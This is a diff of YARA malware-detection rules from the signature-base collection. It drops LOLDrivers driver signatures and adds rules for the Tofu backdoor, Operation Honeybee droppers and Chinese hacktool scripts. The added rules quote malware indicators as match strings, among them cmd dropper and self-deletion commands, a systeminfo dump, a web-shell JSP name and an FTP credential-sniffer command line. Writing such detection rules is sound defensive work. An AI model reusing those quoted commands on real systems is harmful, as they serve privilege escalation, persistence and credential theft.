-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 }
+		$s1 = "Wscript.Sleep 5000" ascii
+		$s2 = "Set FSO = CreateObject(\"Scripting.FileSystemObject\")" ascii
+		$s3 = "Set WshShell = CreateObject(\"WScript.Shell\")" ascii
+		$s4 = "If(FSO.FileExists(\"" ascii
+		$s5 = "then FSO.DeleteFile(\".\\" ascii
 
 	condition:
-		all of them
+		filesize <1KB and all of them and $s1 in (0..40)
 }
-rule SIGNATURE_BASE_MAL_Driver_Legalcorp_Pciexpressvideocapture_FD22
+rule SIGNATURE_BASE_Tofu_Backdoor
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PcieCubed.sys"
-		author = "Florian Roth"
-		id = "c9b28922-d4c7-5c09-9df8-b7b8d8ffc2e8"
-		date = "2023-06-14"
+		description = "Detects Tofu Trojan"
+		author = "Cylance"
+		id = "03848366-f139-5352-959d-390992d96296"
+		date = "2017-02-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L61-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fd223833abffa9cd6cc1848d77599673643585925a7ee51259d67c44d361cce8"
-		logic_hash = "4c47a159595f420c520e6924238bd260f49ccf163208713c72c62638b13756d9"
-		score = 70
+		reference = "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ham_tofu_chches.yar#L11-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "67c49456dbe4dc4c8bc54139ce6d493ea5588392d8c64010d029d7a63ac7f976"
+		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005000430049006500200056006900640065006f00200043006100700074007500720065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006500670061006c00200043006f00720070002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300490020004500780070007200650073007300200056006900640065006f00200043006100700074007500720065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005000630069006500430075006200650064002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00320030003100360020004c006500670061006c }
+		$a = "Cookies: Sym1.0"
+		$b = "\\\\.\\pipe\\1[12345678]"
+		$c = {66 0F FC C1 0F 11 40 D0 0F 10 40 D0 66 0F EF C2 0F 11 40 D0 0F 10 40 E0}
 
 	condition:
-		all of them
+		$a or $b or $c
 }
-rule SIGNATURE_BASE_MAL_Driver_Microsoftcorporation_Ntbiosys_Microsoftrwindowsrntoperatingsystem_C0D8
-{
-	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ntbios_2.sys"
-		author = "Florian Roth"
-		id = "f16b4b22-985a-5d39-ae51-709aa9a69d8d"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L83-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c0d88db11d0f529754d290ed5f4c34b4dba8c4f2e5c4148866daabeab0d25f9c"
-		hash = "96bf3ee7c6673b69c6aa173bb44e21fa636b1c2c73f4356a7599c121284a51cc"
-		logic_hash = "74ad0b57644d82a77bc902786250156f5e3700671bdf9765055b5908dc345a67"
-		score = 70
-		quality = 85
-		tags = ""
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006e007400620069006f00730020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e007400620069006f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020004d006900630072006f0073006f00660074002800520029002000570069006e0064006f0077007300200028005200290020004e00540020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e007400620069006f0073002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000300033 }
+import "pe"
 
-	condition:
-		all of them
-}
-rule SIGNATURE_BASE_MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_200F
+rule SIGNATURE_BASE_Honeybee_Dropper_Maldoc : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
-		author = "Florian Roth"
-		id = "8a8887dd-0f3d-5ab4-a945-b47966789b99"
-		date = "2023-06-14"
+		description = "Detects samples from Operation Honeybee"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4e8dec29-2c0a-5760-91c9-88f67505a7f1"
+		date = "2018-03-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L107-L127"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "200f98655d1f46d2599c2c8605ebb7e335fee3883a32135ca1a81e09819bc64a"
-		logic_hash = "a51e3e4c17122bf15b70b47693c3d24792cc7c7cbead1b26e501cb2907113968"
-		score = 70
+		reference = "https://goo.gl/JAHZVL"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_honeybee.yar#L13-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bc680a59a7bd269eea001c2c74e41ecd93a9b848210779fc7d9c24dfab7767a"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "86981680172bbf0865e7693fe5a2bbe9b3ba12b3f1a1536ef67915daab78004c"
+		hash2 = "0d4352322160339f87be70c2f3fe096500cfcdc95a8dea975fdfc457bd347c44"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310039002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 }
+		$x1 = "cmd /c expand %TEMP%\\setup.cab -F:* %SystemRoot%\\System32"
+		$x2 = "del /f /q %TEMP%\\setup.cab && cliconfg.exe"
+		$s1 = "SELECT * FROM Win32_Processor" fullword ascii
+		$s2 = "\"cmd /c `wusa " fullword ascii
+		$s3 = "sTempPathP" fullword ascii
+		$s4 = "sTempFile" fullword ascii
+		$s5 = "GetObjectz" fullword ascii
+		$s6 = "\\setup.cab" ascii
 
 	condition:
-		all of them
+		uint16(0)==0xcfd0 and filesize <400KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_E7AF
-{
-	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_6.sys"
-		author = "Florian Roth"
-		id = "5f883209-6887-5cb4-96bb-988898d47c09"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L130-L153"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e7af7bcb86bd6bab1835f610671c3921441965a839673ac34444cf0ce7b2164e"
-		hash = "b9dad0131c51e2645e761b74a71ebad2bf175645fa9f42a4ab0e6921b83306e3"
-		hash = "8d9a2363b757d3f127b9c6ed8f7b8b018e652369bc070aa3500b3a978feaa6ce"
-		hash = "06a0ec9a316eb89cb041b1907918e3ad3b03842ec65f004f6fa74d57955573a4"
-		logic_hash = "b4d12069a9a3a8d8d9bde9a4ed3f80f21f2654b6f96943d201933198678d01d9"
-		score = 70
-		quality = 85
-		tags = ""
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+import "pe"
 
-	condition:
-		all of them
-}
-rule SIGNATURE_BASE_MAL_Driver_Gmer_Gmersys_Gmer_18C9
+rule SIGNATURE_BASE_Ophoneybee_Malware_1 : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gmer64.sys"
-		author = "Florian Roth"
-		id = "a2197304-4455-52bb-ac73-9218b310bb99"
-		date = "2023-06-14"
+		description = "Detects malware from Operation Honeybee"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5f48434e-efe6-5cd8-85e2-eabf528e6c58"
+		date = "2018-03-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L156-L176"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7"
-		logic_hash = "1644a972cb9bde33e5e8ec078b0ee67b34b6a298504895f364260b96a453a3ba"
-		score = 70
+		reference = "https://goo.gl/JAHZVL"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_honeybee.yar#L37-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5cd37bc515bc1dd61ee58cfdf34622e4f884cc771d1fa2c793986be94b751a70"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d31fe5cfa884e04ee26f323b8d104dcaa91146f5c7c216212fd3053afaade80f"
+		hash2 = "fc2bcd38659ae83fd25b4f7091412ae9ba011612fa4dcc3ef665b2cae2a1d74f"
+		hash3 = "2c5e5c86ca4fa172341c6bcbaa50984fb168d650ae9a33f2c6e6dccc1d57b369"
+		hash4 = "439c305cd408dbb508e153caab29d17021a7430f1dbaec0c90ac750ba2136f5f"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004d00450052002000440072006900760065007200200068007400740070003a002f002f007700770077002e0067006d00650072002e006e00650074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004d00450052 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c002000360039003800330020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200036003900380033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006d0065007200360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004d00450052 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006d0065007200360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200047004d0045005200200032003000300033002d0032003000310033 }
+		$x1 = "cmd /c taskkill /im cliconfg.exe /f /t && del /f /q" fullword ascii
+		$x2 = "\\FTPCom_vs10\\Release\\Engine.pdb" ascii
+		$x3 = "KXU/yP=B29tLzidqNRuf-SbVInw0oCrmWZk6OpFc7A5GTD1QxaJ3H8h4jMeEsYglv" fullword ascii
+		$x4 = "D:\\Task\\MiMul\\" ascii
+		$s1 = "[DLL_PROCESS_ATTACH]" fullword ascii
+		$s2 = "cmd /c systeminfo >%s" fullword ascii
+		$s3 = "post.txt" fullword ascii
+		$s4 = "\\temp.ini" ascii
+		$s5 = "[GetFTPAccountInfo_10001712]" fullword ascii
+		$s6 = "ComSysAppMutex" fullword ascii
+		$s7 = "From %s (%02d-%02d %02d-%02d-%02d).txt" fullword ascii
+		$s8 = "%s %s %c%s%c" fullword ascii
+		$s9 = "TO EVERYONE" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="e14b59a79999cc0bc589a4cb5994692a" or pe.imphash()=="64400f452e2f60305c341e08f217b02c" or 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_6908
+import "pe"
+
+rule SIGNATURE_BASE_Ophoneybee_Maocheng_Dropper : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_2.sys"
-		author = "Florian Roth"
-		id = "3bd8b888-8170-5da6-ba1c-f13c1ca27e6f"
-		date = "2023-06-14"
+		description = "Detects MaoCheng dropper from Operation Honeybee"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b163e08e-3892-55f6-ae3e-30d2ba3f4310"
+		date = "2018-03-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L179-L199"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6908ebf52eb19c6719a0b508d1e2128f198d10441551cbfb9f4031d382f5229f"
-		logic_hash = "9cde0a399b852038979993375be2a6d0f9f9f760381e94df0190256e8810949f"
-		score = 70
+		reference = "https://goo.gl/JAHZVL"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_honeybee.yar#L73-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85bcde1d821c052636a75dce4d8c3753188dd7da5fce2b3401d51c02d1c2fa6b"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "35904f482d37f5ce6034d6042bae207418e450f4"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "\\MaoCheng\\Release\\" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <600KB and 1 of them
 }
-rule SIGNATURE_BASE_MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_81C7
+rule SIGNATURE_BASE_CN_Tools_Xbat : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_3.sys"
-		author = "Florian Roth"
-		id = "43ae822a-c4c4-5525-bfd3-a05d1ec50bd0"
-		date = "2023-06-14"
+		description = "Chinese Hacktool Set - file xbat.vbs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5b2f0d2e-a7fb-5f5a-94a9-28e851c9756e"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L202-L222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "81c7bb39100d358f8286da5e9aa838606c98dfcc263e9a82ed91cd438cb130d1"
-		logic_hash = "ec9e321bbc89bffb6243e3edde45e60dc06513e88dfb9a262768ef081db60c5b"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L10-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a7005acda381a09803b860f04d4cae3fdb65d594"
+		logic_hash = "c6dae76bbda7b43eef348c61e1330405923baf724f1aa5d2b51132dde89248fe"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "ws.run \"srss.bat /start\",0 " fullword ascii
+		$s1 = "Set ws = Wscript.CreateObject(\"Wscript.Shell\")" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x6553 and filesize <0KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Driver_Sensecorp_7F45
+rule SIGNATURE_BASE_CN_Tools_Temp : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
-		author = "Florian Roth"
-		id = "6c1f5ba4-fd14-5069-9d99-e3072b2dbbc2"
-		date = "2023-06-14"
+		description = "Chinese Hacktool Set - file Temp.war"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4fbaabd0-fbf2-56a0-94af-9deba1e7cc81"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L225-L242"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7f4555a940ce1156c9bcea9a2a0b801f9a5e44ec9400b61b14a7b1a6404ffdf6"
-		logic_hash = "dbef723d7e44da110675402fc13708c5b077eeb6a66c1772885f5879d795ec4e"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L26-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c3327ef63b0ed64c4906e9940ef877c76ebaff58"
+		logic_hash = "05fd1cb3f7c8b96ccf824013c130a0b21f43724463f8658e23239d009be7f4fe"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 }
+		$s0 = "META-INF/context.xml<?xml version=\"1.0\" encoding=\"UTF-8\"?>" fullword ascii
+		$s1 = "browser.jsp" fullword ascii
+		$s3 = "cmd.jsp" fullword ascii
+		$s4 = "index.jsp" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x4b50 and filesize <203KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Driver_Microsoftcorporation_Ndislansys_Microsoftwindowsoperatingsystem_B0EB
+rule SIGNATURE_BASE_CN_Tools_Srss : FILE
 {
 	meta:
-		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ndislan.sys"
-		author = "Florian Roth"
-		id = "c94adcf3-2ea6-5856-9327-2e5ed1c49b22"
-		date = "2023-06-14"
+		description = "Chinese Hacktool Set - file srss.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "13191e2e-fbcd-5e0b-af55-cc10f2583c1b"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_mal_drivers.yar#L245-L265"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427"
-		logic_hash = "4b92b69636dea19a23172def47e9a1bbd4507075ec118b48db30fec377b8fbff"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L44-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "092ab0797947692a247fe80b100fb4df0f9c37a0"
+		logic_hash = "e01fd60adc32be26b0940ecc127a17bfcfe2ebfcf6cefea76ba6adc61d3c18d4"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d00530020004c0041004e0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "srss.exe -idx 0 -ip"
+		$s1 = "-port 21 -logfilter \"_USER ,_P" ascii
 
 	condition:
-		all of them
+		filesize <100 and all of them
 }
-rule SIGNATURE_BASE_Beacon_K5Om : FILE
+rule SIGNATURE_BASE_Dll_Unreg : FILE
 {
 	meta:
-		description = "Detects Meterpreter Beacon - file K5om.dll"
+		description = "Chinese Hacktool Set - file UnReg.bat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9354d20a-d798-55bf-a735-820f21d4a861"
-		date = "2017-06-07"
+		id = "5c14486d-72a2-5a18-9db0-ce0ab61fdce7"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt19.yar#L10-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4b1ec0fc6c0ad4e76c526f7568153bca62f9bffdd38a3b1eaa51a37a1dcab226"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L60-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d5e24ba86781c332d0c99dea62f42b14e893d17e"
+		logic_hash = "0e534e475a5b4338aa53bea09325dd63a3d451a13b46a70b5208cabd2deecabe"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
